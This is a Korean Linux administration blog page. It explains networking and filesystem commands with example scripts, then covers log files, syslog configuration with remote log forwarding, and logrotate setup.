# /etc/rc.d/init.d/network 의 일부분 # ... # 네트워킹이 가능한지 확인. [ ${NETWORKING} = "no" ] && exit 0 [ -x /sbin/ifconfig ] || exit 0 # ... for i in $interfaces ; do if ifconfig $i 2>/dev/null | grep -q "UP" >/dev/null 2>&1 ; then action "Shutting down interface $i: " ./ifdown $i boot fi # "grep"의 GNU 전용인 "-q" 옵션은 "quiet"를 뜻하고, 어떤 출력도 하지 않게 합니다. # 따라서 출력을 /dev/null 로 재지향 하는 것이 꼭 필요하지 않습니다. # ... echo "현재 동작중인 디바이스:" echo `/sbin/ifconfig | grep ^[a-z] | awk '{print $1}'` # ^^^^^ globbing 을 막기 위해 쿼우트 시켜야 합니다. # 다음도 역시 동작합니다. # echo $(/sbin/ifconfig | awk '/^[a-z]/ { print $1 })' # echo $(/sbin/ifconfig | sed -e 's/ .*//') # S.C.가 주석을 더 넣어 줬습니다. 고마워요.
예 30-5 참고.

route

커널 라우팅 테이블 정보를 보거나 바꿀 수 있게 해 줍니다.

bash$ route Destination Gateway Genmask Flags MSS Window irtt Iface pm3-67.bozosisp * 255.255.255.255 UH 40 0 0 ppp0 127.0.0.0 * 255.0.0.0 U 40 0 0 lo default pm3-67.bozosisp 0.0.0.0 UG 40 0 0 ppp0 

chkconfig

네트워크 설정을 체크해줌. 이 명령어는 /etc/rc?.d 디렉토리에 들어있고 부팅시 시작되는 네트워크 서비스들을 보여주고 관리해 줍니다.

원래는 IRIX에 있던 것을 레드햇 리눅스가 포팅한 것으로 다른 리눅스 배포판에서는 기본 설치에 속하지 않을 수도 있습니다.

bash$ chkconfig --list atd 0:off 1:off 2:off 3:on 4:on 5:on 6:off rwhod 0:off 1:off 2:off 3:off 4:off 5:off 6:off ... 

tcpdump

네트워크 패킷 "스니퍼". 주어진 기준에 맞는 패킷 헤더의 덤프를 떠서 네트워크 트래픽을 분석하고 문제점을 해결할 수 있게 해 줍니다.

bozovillecaduceus 두 호스트간의 IP 패킷 트래픽을 덤프:

bash$ tcpdump ip host bozoville and caduceus 

당연히 tcpdump의 출력은 앞에서 논의했던 텍스트 처리 유틸리티들을 이용해서 파싱할 수가 있습니다.

파일시스템

mount

파일시스템을 마운트해 줍니다. 보통은 플로피나 시디롬 같은 외부 디바이스에 대해서 쓰입니다. /etc/fstab에 가능한 파일시스템이나 파티션, 디바이스, 옵션등을 적어 놓으면 자동이나 수동으로 마운트를 편하게 할 수 있습니다. /etc/mtab 파일은 /proc 같은 가상 파일시스템도 포함해서 현재 마운트 되어 있는 파일 시스템을 보여 줍니다.

mount -a/etc/fstab에 들어 있는 파일 시스템과 파티션중에 noauto 옵션이 있는 항목만 빼고 모두 마운트 해 줍니다. 부팅될 때, 모든 파티션이 마운트 되도록 /etc/rc.d 디렉토리에 들어 있는 시스템 구동 스크립트(rc.sysinit이나 비슷한 것)에서 이 명령어를 부릅니다.

mount -t iso9660 /dev/cdrom /mnt/cdrom # CDROM 마운트 mount /mnt/cdrom # /mnt/cdrom 이 /etc/fstab 에 들어 있을 경우 짧게 부르기

이 다재다능한 명령어는 보통 파일을 블럭 디바이스에 존재하는 파일 시스템처럼 마운트 할 수도 있습니다. 이런 능력은 루프백 디바이스(loopback device)라고 하는 파일을 이용해서 가능해 집니다. 이 루프백 디바이스를 적용한 예로서, ISO9660 이미지를 CDR로 굽기 전에 마운트해서 테스트 해보는 것이 있습니다. [3]

예 13-5. CD 이미지 확인하기

# 루트로... mkdir /mnt/cdtest # 마운트 포인트가 없다면 준비함. mount -r -t iso9660 -o loop cd-image.iso /mnt/cdtest # 이미지 마운트. # "-o loop" 옵션은 "losetup /dev/loop0" 와 같음. cd /mnt/cdtest # 이제 이미지를 확인. ls -alR # 이미지에 들어있는 디렉토리 트리에 들어 있는 파일들을 나열. # 기타 등등...
umount

현재 마운트 되어 있는 파일 시스템을 언마운트 해 줍니다. 이미 마운트 되어 있는 플로피나 시디롬 디스크를 빼기 전에 꼭 umount를 해 줘야 합니다. 안 그러면 파일 시스템이 깨질 수도 있습니다.

umount /mnt/cdrom # 이제 이젝트 버튼을 눌러 디스크를 안전하게 뺄 수 있습니다.

참고: automount 유틸리티가 적절하게 설치되어 있다면 플로피나 시디롬 디스크에 접근시나 제거시에 자동으로 마운트와 언마운트를 할 수 있습니다. 플로피나 시디롬 드라이브를 꼈다 뺐다 할 수 있는 랩탑에서는 문제를 일으킬 수도 있습니다.

sync

버퍼에 들어 있는 최신 데이타를 하드 드라이브로 즉시 쓰게 합니다(버퍼와 드라이브를 동기화). 이 명령어가 꼭 필요한 것은 아니지만 시스템 관리자나 사용자에게 자신들이 변경한 데이타가 갑작스런 전원 이상에도 살아남을 수 있게 해 줍니다. 예전에는 sync; sync(아주 확실히 하기 위해서 두 번 내림)라고 해서 시스템을 리부팅하기 전의 유용한 예방책으로 쓰였습니다.

파일을 안전하게 지우거나(예 12-33) 천장의 전등이 깜빡이기 시작했을 때 버퍼를 즉시 플러쉬시키고 싶을 때가 있을지도 모릅니다.

losetup

루프백 디바이스를 설정해 줍니다.

예 13-6. 한 파일에서 한번에 파일 시스템 만들기

SIZE=1000000 # 1 meg head -c $SIZE < /dev/zero > file 
# 지정된 크기로 파일을 설정. losetup /dev/loop0 file
# 루프백 디바이스로 설정. mke2fs /dev/loop0 
# 파일 시스템 만들기. mount -o loop /dev/loop0 /mnt 
# 마운트. # Thanks, S.C.
mkswap

스왑 파티션이나 스왑 파일을 만들어 줍니다. 이 명령어 다음에는 꼭 swapon으로 활성화를 시켜줘야 합니다.

swapon, swapoff

스왑 파티션이나 스왑 파일을 활성화/비활성화 시켜 줍니다. 이 명령어는 보통 부팅시나 셧다운시에 효력을 갖습니다.

mke2fs

리눅스 ext2 파일시스템을 만들어 줍니다. 이 명령어는 루트로 실행 시켜야 합니다.

예 13-7. 새 하드 드라이브 추가하기

#!/bin/bash # 시스템에 두 번째 하드 드라이브 추가하기. 
# 소프트웨어 설정. 하드웨어가 이미 마운트돼 있다고 가정함. 
# 본 문서의 저자가 "Linux Gazett", http://www.linuxgazette.com, 38호에
 # 쓴 기사에서 발췌. ROOT_UID=0 
# 이 스크립트는 루트로 실행 시켜야 됩니다. E_NOTROOT=67 
# root 가 아닌 경우의 종료 에러. 
if [ "$UID" -ne "$ROOT_UID" ] then echo "이 스크립트는 루트만 실행시킬 수 있습니다." exit $E_NOTROOT fi # 이 스크립트는 정말 주의해서 쓰기 바랍니다! # 만약 무언가가 잘못된다면 여러분의 파일 시스템을 홀라당 날려먹을 수 있습니다. NEWDISK=/dev/hdb # /dev/hdb 가 비어 있다고 가정함. 꼭 확인해 볼 것! MOUNTPOINT=/mnt/newdisk # 아니면 다른 마운트 포인트 지정. fdisk $NEWDISK mke2fs -cv $NEWDISK1 # 배드 블럭 확인및 자세한 출력. # 주의: /dev/hdb 가 *아니라* /dev/hdb1 입니다! mkdir $MOUNTPOINT chmod 777 $MOUNTPOINT # 새 드라이브는 모든 사용자가 접근할 수 있도록 함. # 자, 테스트를 해 보죠. # mount -t ext2 /dev/hdb1 /mnt/newdisk # 디렉토리를 만들어 보고 잘 된다면 umount 한 다음 하던 일을 계속하면 됩니다. # 마지막 단계: # 다음을 /etc/fstab 에 추가해 주세요. # /dev/hdb1 /mnt/newdisk ext2 defaults 1 1 exit 0

예 13-6예 29-3 도 참고하세요.

tune2fs

ext2 파일 시스템을 튜닝해 줍니다. 최대 마운트 숫자같은 파일 시스템 매개변수를 바꾸는데 쓰일 수 있습니다. 루트로 실행해야 됩니다.

주의

이 명령어는 굉장히 위험합니다. 부주의하게 쓴다면 여러분 파일 시스템을 박살낼 수도 있기 때문에 여러분 스스로 책임을 지고 써야 합니다.

dumpe2fs

아주 자세한 파일 시스템 정보를 표준출력으로 덤프해 줍니다. 루트로 실행되야 합니다.

root# dumpe2fs /dev/hda7 | grep 'ount count' dumpe2fs 1.19, 13-Jul-2000 for EXT2 FS 0.5b, 95/08/09 Mount count: 6 Maximum mount count: 20
hdparm
Posted by tornado
|
운영체제가 부팅하면서 시작하는 작업인 로그파일에 대하여 알아본다. 현재의 시스템에서 일어나고 있는 모든 작업이 로그파일에 기록이 된다. 그러므로 문제가 발생하였을 경우 가장 먼저 해야 할 일이 로그분석이다. 로그파일은 서비스하고 있는 상황에 따라 하루에 몇기가씩 쌓일 수도 있다. 운영체제와 외부에 서비스하고 있는 로그파일만으로 하드디스크가 꽉 채워질 수 있고 DDOS 등의 공격을 받아서도 짧은 시간에 엄청난 속도로 늘어날 수 있다. 이에 대해서 정확하게 분석하는 작업과 함께 주기적으로 파일을 로테이션시켜 부하를 줄여야 한다.





1. 로그파일의 종류

리눅스에서 로그파일은 일반적으로 /var/log에 기록이 된다. 로그파일은 운영하는 서비스에 따라서 차이가 나며 syslog.conf 설정에 따라 다르다. (**주1**)

파일명
기능

boot.log
부팅 및 각종 서비스 시작 및 중지에 대한 기록

cron.log
크론 활동 관련 기록

dmesg
시스템 부팅 관련 기록

lastlog
사용자의 마지막 로그인 시간 기록 (last 명령 이용 확인)

maillog
메일 서비스 관련 기록

messages
커널 에러, 리부팅 메시지, 로그인 실패 등 시스템 콘솔에서 출력된 결과를 기록하고 syslog에 의하여 생성된 메시지도 기록

secure
로그인 인증 및 보안 관련 주요 로그

wtmp
사용자 로그인, 로그아웃 시간, 시스템 종료 시간등 기록

(last 명령 이용 확인)

xferlog
ftp 접근 관련 기록

utmp
현재 로그인한 사용자에 대한 상태 기록

(w, who 등 이용 확인) 레드햇에서는 /var/run/wtmp에 있음

.history
사용자 홈디렉토리에 있으며 사용자가 쉘상에서 작업한 것을 기록











사용자에 따라 sulog, pacct 등이 있을 수 있으며 이외에도 여러 인터넷 서비스에 따라 로그기록을 한다. 또한 일반 텍스트 형태의 파일만 있는 것이 아니라 utmp, utmp 등 바이너리 형태로 로그 기록을 하는 경우도 있다. 로그파일은 시스템에서 발생했던 상황을 모두 기록으로 남기기 때문에 문제가 발생하였을 때 출발점이 될 수 있으며 크래킹 여부를 판단할 수 있는 중요한 근거가 된다.



utmp 파일은 현재 시스템에 로그인한 사용자에 대한 정보를 가지고 있으며 사용자 이름, 터미널 장치 이름, 원격 로그인시 원격 호스트 이름, 사용자가 로그인한 시간 등을 기록한다. 일반 텍스트 파일이 아니기 때문에 who, w 등을 이용하여 내용을 살펴볼 수 있다.



$ w

11:40pm up 18:25, 3 users, load average: 0.05, 0.05, 0.00

USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT

taejun pts/2 211.55.2.161 10:43am 1.00s 0.14s ? -

taejun pts/5 211.52.1.151 10:53am 17:11 0.08s 0.08s -bash





wtmp 파일은 사용자의 로그인과 로그아웃 정보를 모두 가지고 있으며 시스템의 부팅이나 재부팅에 대한 내용도 포함을 하고 있는 중요한 파일이다. last를 이용하여 확인을 할 수 있다.

lastlog 파일은 사용자가 가장 최근에 로그인을 한 기록을 남기며 시스템에 다시 로그인을 할때마다 갱신이 된다. lastlog 프로그램을 이용하여 확인할 수 있다.



# lastlog

Username Port From Latest

root tty1 Sun Jul 15 02:54:21 +0900 2001

bin **Never logged in**

daemon **Never logged in**

mail **Never logged in**

nobody **Never logged in**

mylove pts/1 211.50.6.251 Sun Jul 15 14:40:53 +0900 2001

mysql **Never logged in**

named **Never logged in**





그런데 크래커가 바보가 아니라면 당연히 크래킹을 해놓고도 그 기록을 계속 남기지는 않을 것이다. 정상적인 로그인 절차를 거칠 경우 사용자의 접속 내역은 utmp, wtmp, lastlog에 기록을 하게 되지만 백도어나 rootkit 등이 설치되어 있을 경우에는 그 사실을 모를 수가 있다. 시스템 accounting 기능(**주2**) 을 이용하면 시스템에서 어떠한 프로그램이 얼마만큼 자원을 차지하고 있는지 알 수 있을 뿐만 아니라 로그인한 사용자가 어떤 프로그램을 실행했는지에 대해서 알 수 있는 단서가 된다. 그렇지만 리눅스에서 기본적으로 설치되어 있는 패키지는 아니며 별도로 설정을 해야 한다.

history 파일은 각 사용자가 접속하여 어떠한 명령을 수록했는지 기록하고 있다. 히스토리 파일을 이용하여 공격자의 행위를 파악할 수 있다.

secure 파일은 위에서 설명을 했던대로 보안과 관련한 로그를 기록하며 telnet, ftp, pop등 인중을 필요로 하는 네트워크 서비스에 대한 기록을 남긴다. 메일서버, 웹서버, 네임서버 등도 응용프로그램 차원에서 개별 로그를 남기며 특정한 서비스에 문제가 생겼을 경우 먼저 로그기록부터 확인을 하여 문제점을 찾고 그 대책을 찾아야 할 것이다.







여기서 걸리는 문제는 계속 쌓여만 가는 로그파일을 계속 주기적으로 모니터링할 수 없다는 것이다. 이런 경우에는 아주 간단하게 자신이 주로 살펴볼 필요가 있는 로그파일에 대하여 grep으로 뽑아내거나 전문적인 로그 관련 유틸리티를 활용할 필요가 있다. 이에 대해서는 swatch 나 logcheck 등을 활용하기 바란다. (**주3) 로그 모니터링툴을 활용하는 경우 제대로 필터링을 하지 않으면 엄청난 스팸 메일이 되어 돌아온다는 것을 기억하기 바란다.





2. 로그파일 설정 - syslog 에 대하여

일반적으로 로깅 기능은 syslog를 이용하여 어떻게 사용할 것인지 지정을 한다. 배포판 설치시 로그파일을 기록하는 패키지가 자동으로 설치된다. 이러한 역할을 하는 패키지가 syslogd 패키지이다.



# rpm -ql sysklogd

/etc/logrotate.d/syslog

/etc/rc.d/init.d/syslog

/etc/rc.d/rc0.d/K99syslog

/etc/rc.d/rc1.d/K99syslog

/etc/rc.d/rc2.d/S30syslog

/etc/rc.d/rc3.d/S30syslog

/etc/rc.d/rc5.d/S30syslog

/etc/rc.d/rc6.d/K99syslog

/etc/syslog.conf

/sbin/klogd

/sbin/syslogd

/usr/doc/sysklogd-1.3.31

/usr/doc/sysklogd-1.3.31/ANNOUNCE

/usr/doc/sysklogd-1.3.31/INSTALL

/usr/doc/sysklogd-1.3.31/NEWS

/usr/doc/sysklogd-1.3.31/README.1st

/usr/doc/sysklogd-1.3.31/README.linux

/usr/doc/sysklogd-1.3.31/Sysklogd-1.3.lsm

/usr/man/man5/syslog.conf.5.gz

/usr/man/man8/klogd.8.gz

/usr/man/man8/sysklogd.8.gz

/usr/man/man8/syslogd.8.gz





시스템 로깅 프로그램은 시스템의 부팅시 초창기에 실행이 된다. 이에 대한 설정은 /etc/syslog.conf를 이용한다. 아래 내용은 필자가 주석을 첨가하였다.





# cat /etc/syslog.conf



# Log all kernel messages to the console.

# Logging much else clutters up the screen.

kern.* /dev/console

# 모든 커널 메시지를 콘솔로.



# Log anything (except mail) of level info or higher.

# Don't log private authentication messages!

*.info;mail.none;authpriv.none /var/log/messages

# 모든 info를 messages에 기록. 여기서 mail, authpriv 관련 기록은 제외



# The authpriv file has restricted access.

authpriv.* /var/log/secure

# 모든 로그인 인증 관련 기록. su, login 등을 모두 여기 기록



# Log all the mail messages in one place.

mail.* /var/log/maillog

# 모든 메일 메시지



# Everybody gets emergency messages, plus log them on another

# machine.

*.emerg *

# 비상 메시지(emerg)는 현재 로그인한 모든 사용자에게 알림



# Save mail and news errors of level err and higher in a

# special file.

# uucp,news.crit /var/log/spooler

# uucp, news 의 crit 정보 기록



# Save boot messages also to boot.log

local7.* /var/log/boot.log

# 부트 메시지 기록





설정파일은 매우 간단하다. 빈 행과 # 으로 시작되는 행은 무시된다. (참고로 리눅스는 BSD 형식으로 로그를 구성한다)



설정행의 구조는 다음과 같다.

facility.level destination



facility는 메시지를 보내는 서브시스템의 이름이며 level(priority)은 메시지의 중요성을 나타낸다. facility는 다음과 같다.

auth, authpriv, cron, daemon, kern, lpr, mail, news, syslog, user, uucp, local0 - local7



facility에서 auth 대신 auth_priv를 사용할 것을 추천하고 있으며 나머지는 읽어보면 쉽게 이해가 갈 것이다. 크론(cron, at), 대몬, 커널 메시지, 로컬에서 사용, 프린터, 메일, 뉴스, syslog, 사용자 레벨 메시지, UUCP.



priority는 다음과 같으며 중요도에 따라 나열하고 있다.

debug, info, notice, warning, warn (warning), err, error (err), crit, alert, emerg, panic (emerg)



상세한 내용은 아래와 같다.



emerg : 시스템 패닉

alert : 에러 경고. 즉각 알려야할 내용

crit : 하드 장치 에러와 같은 임계 에러(critical error)

err : 에러

warn : 경고

notice : 비임계 메시지

info : 정보 메시지

debug :문제 추적을 돕는 특수 정보

만약 none 이라고 하면 그에 대한 모든 로그 메시지를 제외하라는 뜻이다.



모든 facility 나 priority 를 지정하려면 * 를 쓰면 되며 여러개를 지정하려면 , 를 사용하면 된다. 그런데 여기서 반드시 알아두야할것이 priority를 지정하면 그와같은 priority부터 그 위의 priority에 관련된 로그를 기록한다는 것이다. 만약 info 를 지정하면 emerg 부터 info 사이의 모든 로그를 기록한다. 만약 단일한 priority를 지정하려면 = 를 사용하면 된다. !는 priority 범위를 제한한다. 이에 대해서는 아래에서 설명하는 예를 참고하자.

(리눅스에서 syslogd는 원래 BSD 소스에 몇가지 기능이 추가되었다. =, ! 등이 이에 속한다.)



로그파일을 기록으로 남기는 방식에는 여러가지가 있다. 가장 먼저 파일형태(/var/log/messages), named pipe, 터미널과 콘솔(/dev/console), 원격 머신(@), 사용자, 로그인한 전체 사용자(*) 등이다.



보통 위의 내용이 일반적인 배포판 구성이다. 아마 kernel 메시지에는 주석이 되어있는 경우도 있다.



예를 들어 *.err /dev/tty8 를 추가해보자. 놀고있는 tty8 콘솔에서 시스템에서 발생하는 모든 에러를 볼 수 있다.



*.* @taejun



이건 모든 메시지를 taejun 이라는 원격 호스트에서 처리하도록 할 수 있다. 어떤 경우 이게 유용할까? 모든 syslog 메시지를 한 대의 시스템으로 모을 수 있기 때문에 여러대의 서버를 운영하는 경우 한곳에서 모든 로그를 처리할 수 있고 시스템에 문제가 발생하더라도 원격 시스템에 로그를 남기므로 설사 시스템이 붕괴가 되었다고 하더라도 문제를 찾을 실마리를 찾을 수 있다.



위의 기본 설정말고 몇가지 예를 더 보자.



# Store critical stuff in critical

#

*.=crit;kern.none /var/adm/critical



# 커널을 제외하고 모든 crit 에 해당하는 메시지 기록

# (여기서 = 를 지정한 차이점에 대해서 이해해야함)



# Kernel messages are first, stored in the kernel

# file, critical messages and higher ones also go

# to another host and to the console

#

kern.* /var/adm/kernel

kern.crit @finlandia

kern.crit /dev/console

kern.info;kern.!err /var/adm/kernel-info



# 커널 관련 모든 기록은 kernel 파일에,

# 커널에서 crit 이상의 메시지는는 콘솔과 원격 호스트로.

# 두번째 부분(원격 호스트)이 유용한 것은 만약 시스템이

# 붕괴해서 디스크에서 복구할 수 없는 에러가 났더라도

# 원격 호스트에서 이 문제를 해결할 수 있는 원인을

# 찾을 수 있다.

# 이제 네번째 줄. 이건 info 부터 err 이전 그러니깐

# info , notice, warn 에 대한 메시지를 기록한다.

# 로그 범위을 제한하는 것이다.



# The tcp wrapper loggs with mail.info, we display

# all the connections on tty12

#

mail.=info /dev/tty12

# mail.info에 관련된 메시지를 12번째 콘솔에 기록.



# Store all mail concerning stuff in a file

#

mail.*;mail.!=info /var/adm/mail



# mail.info 만 제외하고 모든 mail 메시지.



# Log all mail.info and news.info messages to info

#

mail,news.=info /var/adm/info

# mail 과 news의 info 만 기록



# Log info and notice messages to messages file

#

*.=info;*.=notice;\

mail.none /var/log/messages



# info 와 notice 에 해당하는 모든 메시지 기록.

# 여기서 mail의 모든 메시지만 제외.



# Log info messages to messages file

#

*.=info;\

mail,news.none /var/log/messages



# 모든 info 에 관련된 메시지.

# 단, 메일, 뉴스의 모든 메시지는 제외



# Emergency messages will be displayed using wall

#

*.=emerg *

# 모든 emergency 메세지를 현재 로그인한 모든 사용자에게.

# 이는 wall 과 같다.



# Messages of the priority alert will be directed

# to the operator

#

*.alert root,taejun

# 모든 alert 이상 메시지를 root 와 taejun 사용자에게



*.* @taejun

# 모든 메시지를 taejun 이라는 원격 호스트로

# 위에서 설명했던 것처럼 클러스터링 시스템에서

# 모른 로그 메시지를 한곳에 기록하는 경우 유용





logger 유틸리티는 쉘 스크립트에서 syslog 기능을 이용 메시지를 보낼 수 있다.



# logger -p authpriv.alert -t oh_no_login "test"



# tail -f secure

Jul 10 23:42:12 tunelinux oh_no_login: test





위에서 설명을 한 대로 특정 시스템의 로그를 다른 원격 서버로 보내어 분석할 수 있다. 이에 대해서 설명을 한다.



먼저 확인해야 할 것이 있다.



/etc/services 파일에 아래의 내용이 있는지 확인해보자.

syslog 514/udp



로그를 만드는 쪽과 받는 쪽 두군데에서 다 필요하다. 보통 기본 설정되어있을 것입니다. 메시지를 주고받는데 UDP 포트가 필요하기 때문이다.



로그를 생성하는 서버에서 설정을 하자. /etc/syslog.conf 에 아래의 내용을 추가한다.



mail.info @admin



이건 mail.info 에 해당하는 로그를 admin 이라는 호스트로 보내는 것이다. 이왕이면 admin은 DNS에 문제가 생길 수도 있으므로 /etc/hosts에 등록해두는 것이 좋을 것이다. 필요하다면 *.* 을 이용 전부를 다 보낼 수도 있다. 이런 경우에는 시스템에 아주 심각한 문제가 생긴다고 하더라도 원격 호스트에 로그 파일이 남으므로 나중에 분석을 할 수 있다는 것이다.



이제 로그를 원격에서 받아 기록하는 서버의 설정을 한다. syslogd 대몬을 시작할때 추가 옵션이 필요하다. 레드햇(또는 호환 계열) 배포판의 경우 시작파일은 다음과 같은 형태이다.



/etc/rc.d/init.d/syslog



여기서 대몬을 시작하는 옵션으로



daemon syslogd -m 0 -r -h



이렇게 설정을 한다. 세부 옵션은 아래와 같다.



-m 0 : 기본설정되어있는것으로 변경하지 않아도 된다. 이건 지정한 분동안에 MARK 라고 로그파일에 기록을 한다. 0이면 기록을 하지 않는다.

-r : 인터넷 도메인 소켓을 이용해 네트웍에서 메시지를 받는 옵션

-h : 기본적으로 syslogd는 원격 호스트에서 받은 메시지를 로그 기록으로 전송하지 않는다. 이 옵션을 사용하여 원격 호스트에서 받은 로그파일을 전송한다. (전송이란 받은 쪽의 로그 파일에 기록한다고 생각하면 된다)







3. logrotate 이용한 로그 파일 관리

보안과 시스템을 관리하고 운영하는 측면에서 로그파일이 중요하지만 계속 쌓이기만 하는 로그파일을 그대로 둔다면 시스템에 문제가 발생할 가능성이 크다. 소규모로 서버를 운영하는 경우 로그파일에 그다지 신경을 쓰는 일이 없다. 그렇지만 제공하는 서비스가 많아지고 규모가 커질 경우 예상치 못한 곳에서 문제가 생기는 일이 많다. 그중 하나가 엄청나게 증가하는 로그파일문제이다. 메일의 경우를 예로 들어보자. 전자메일이 전송된 경우 필자의 시스템에서는 maillog와 messages에 동시에 기록이 된다. pop3도 마찬가지이다. 전자메일을 전송하는 경우에는 560바이트 정도 되었고 pop3로 메일을 가져올 경우에는 500바이트 정도 되었다. 여기서 메일주소가 잘못되어 반송된 경우에 남은 로그는 1.2k 정도가 되었다. 웹서버 로그를 보자. 웹서버 로그의 경우 로그기록을 어떻게 하느냐에 따라 다른데 common이 아니라 access, agent, referer를 모두 기록하는 combined를 이용할 경우 한번 접속당 160바이트가 증가한다. common에 비해서는 두배이상 되는 규모이다. Mysql에서도 모든 sql문에 대하여 기록을 남기는 기능을 이용할 경우 db에서 진행되는 모든 sql문이 로그파일에 그냥 기록이 되므로 규모가 큰 파일을 dump하여 다시 import 하였을 경우 로그 파일의 규모가 dump 크기에 비례하여 엄청나게 늘어난다. 로그파일의 크기가 늘어나서 불필요한 하드디스크 공간이 낭비되고 심지어 서비스가 중지될 정도로 심각한 상황이 초래될 수가 있다. 더 나아가 서비스하는데 투여되어야 할 시스템 자원이 로그파일을 기록하는데 데에만 신경을 써서 정작 서비스 자체의 속도나 질이 형편없이 떨어질 가능성도 크다.



리눅스에서 로그 로테이션을 담당하는 패키지가 logrotate 이다.



# rpm -qa | grep logrotate

logrotate-3.3-1





# rpm -ql logrotate

/etc/cron.daily/logrotate

/etc/logrotate.conf

/etc/logrotate.d

/usr/man/man8/logrotate.8.gz

/usr/sbin/logrotate





logrotate는 계속 커지는 로그파일을 효율적으로 관리하기 위한 프로그램이다. 자동으로 로테이션을 시켜주고, 압축, 제거, 메일로 보내주기 등의 작업을 한다. 초기 리눅스 설치시 자동으로 cron에 추가가 된다.





# cat /etc/cron.daily/logrotate

#!/bin/sh

/usr/sbin/logrotate /etc/logrotate.conf



위에서 보면 logrotate 가 프로그램이고 logrotate.conf가 설정파일이라는 것을 알 수 있을 것이다. 위에서 .conf 파일대신 특정 디렉토리를 지정하면 그 해당 디렉토리의 모든 파일을 사용해 작업을 한다. logrotate 에 여러가지 옵션이 있지만 그다지 사용할 일은 없을 것 같다. 혹시나 궁금하면 man 으로 확인해보면 된다.



먼저 rotate 에 대해서 설명하겠다. rotate 3 라면 cron 로그라고 했을 경우를 가정해본다.. /var/log 디렉토리에 cron이 제일 처음 생성되고 순환간격마다 예전 cron 은 cron.1 이, cron.1은 cron.2, cron.2 는 cron.3 으로 된다. 기존의 cron.3은 삭제가 될 것이다. 그러니깐 새로 생성한 메일로그외에 이전의 로그를 3개까지 기록하는 것이다.



설정파일을 살펴보자. 한글로 되어있는 부분은 필자가 주를 단 것이다.



# cat /etc/logrotate.conf



# see "man logrotate" for details

# rotate log files weekly

weekly

# 기본적으로 일주일마다 로그파일을 순환시킴



# keep 4 weeks worth of backlogs

rotate 4

# 이전 로그파일을 4주동안 간직.

# 위에서 순환간격을 1주일로 했으므로.



# send errors to root

errors root

# 에러가 생길경우 root 에게 메일로.



# create new (empty) log files after rotating old ones

create

# 예전 로그파일을 순환시킨후 새로운 로그파일 생성



# uncomment this if you want your log files compressed

#compress

# gzip 을 이용 압축한다.



# RPM packages drop log rotation information into this directory

include /etc/logrotate.d

# /etc/logrotate.d 파일 또는 디렉토리 안에 있는 파일을 읽어들인다.

# 참고로 필자의 서버에는 다음과 같은 기본설정 파일이 있다.

# ls /etc/logrotate.d

# apache cron ftpd named syslog

# 여기서 가장 중요한 syslog는 messages, secure, maillog, spooler,

# bootlog 로 구성



# no packages own lastlog or wtmp -- we'll rotate them here

/var/log/wtmp {

monthly

create 0664 root utmp

rotate 1

}

# 매월마다 순환시킴

# create 는 순환후 즉시 (postrotate 스크립트를 실행시키기전에)

# 로그 파일을 생성한다. 뒤에서 설명할 것이지만 postrotate는

# 로그파일을 순환한후 진행할 작업을 명시한다.

# 0664 는 생성하는 파일의 허가권, root 는 소유자, utmp 는 그룹

# rotate 1 은 위에서 설명했다. 그런데 개별적으로 설정하면

# 초기에 설정한 weekly 는 무시되 개별 설정을 따른다

# 그러므로 여기에서는 이전의 로그파일이 1개만 남을것이다.

# (원본 제외)

# 참고로 기본적으로 syslog에서는 600으로 허가권을 설정한다.

# 다른 누구도 로그파일에 접근하면 안되기 때문이다.



/var/log/lastlog {

monthly

rotate 1

}

# system-specific logs may be configured here





몇가지 주요한 옵션에 대해서 설명을 하겠다.



ㅇ 순환할 기간 설정 : daily, weekly, monthly 등.

여기에 size 를 이용해 크기까지 설정할 수 있다.접속이 많아서 로그파일이 엄청나게 늘어나는 경우에는 size(기본 kilobytes)를 이용 제어해야 할 것이다.

size 100k(= size 100)



ㅇ 압축설정 : compress

gzip으로 이전 로그파일을 압축한다. 공간을 절약할 수 있다. 이 옵션을 없애려면 주석을 달든지 아니면 nocompress(기본값) 사용



ㅇ 메일설정 : error, mail

error taejun -> 에러를 taejun 이라는 사용자에게 보냄

mail taejun -> 로그파일을 순환시키고 나중에 삭제해야 할 때 삭제하지 않고 메일로 보냄



ㅇ 로그파일 생성 : create mode owner group (기본값)

create 를 지정하면 순환후 로그 파일을 생성한다. 반대는 nocreate



ㅇ 순환간격 : rotate count

이전 로그파일이 삭제되거나 메일로 보내기전에 순환을 할 횟수 지정. 여기서 0으로 지정하면 예전 로그파일은 무조건 삭제된다.



ㅇ 지정한 로그파일이 없을 경우 : missingok, nomissingok

로그파일이 없으면 기본은 에러를 낸다(nomissingok, 기본값). missingok 를 지정하면 로그파일이 없더라도 에러를 내지는 않는다.



ㅇ 로그파일의 내용이 없을 경우(비어있을경우)

기본은 ifempty로 내용이 비었어도 순환을 한다.

순환을 하지 않도록 하려면 notifempty 를 지정하면 된다.



ㅇ 순환 후 작업 : postrotate/endscript

순환하기전 작업을 하려면 prerotate/endscript 를 사용한다. 일반적으로는 순환후 작업을 할 것이다. 예를 들어 메일관련 로그를 새로 생성했으면 syslogd를 다시 가동시켜야 할 것이다. 이런것들을 지정한다.



ㅇ 파일 또는 디렉토리 포함 : include

다른 파일이나 디렉토리안의 파일을 포함할 경우





위의 내용을 토대로 메일 로그를 조정해보자.



여기서는 /etc/logrotate.d/syslog 에서 메일서버의 로그만 따로 처리를 해보겠다.



# cat /etc/logrotate.d/maillog

weekly

size 500k

rotate 4

compress

errors admin

mail admin

nomissingok

create 0600 root root

/var/log/maillog {

postrotate

/usr/bin/killall -HUP syslogd

endscript

}



/var/log/messages {

postrotate

/usr/bin/killall -HUP syslogd

endscript

}



매주마다 한번식 순환시키고 크기가 500k가 넘지 않도록 하며 순환한 파일은 압축을 한다. 에러를 admin 이라는 사용자에게 보내고 순환후 삭제할 파일을 메일로 admin 에게 보낸다. 만약 로그파일이 없으면 에러를 내며 순환후 파일을 생성시키고 이 파일의 모드는 0600 으로 소유자와 그룹은 root 로 한다.



웹서버를 여러 대 운영하고 있고 하루에 한번씩 로그파일을 로테이션시킨다면 logrotate 설정에 중앙의 로그분석 서버로 보내는 작업을 집어넣는 것도 좋은 방법이다. 이런 경우에는 ncftput등의 명령이나 rsync를 이용할 수 있는데 필자는 rsync를 즐겨 쓰는 편이다. (**주4) 알아두면 편리한 프로그램으로 시스템간의 자료 동기화에 주로 사용하며 미러 서버를 운영하는 경우에도 많이 사용하고 있다.





4. 임시파일 관리에 대하여

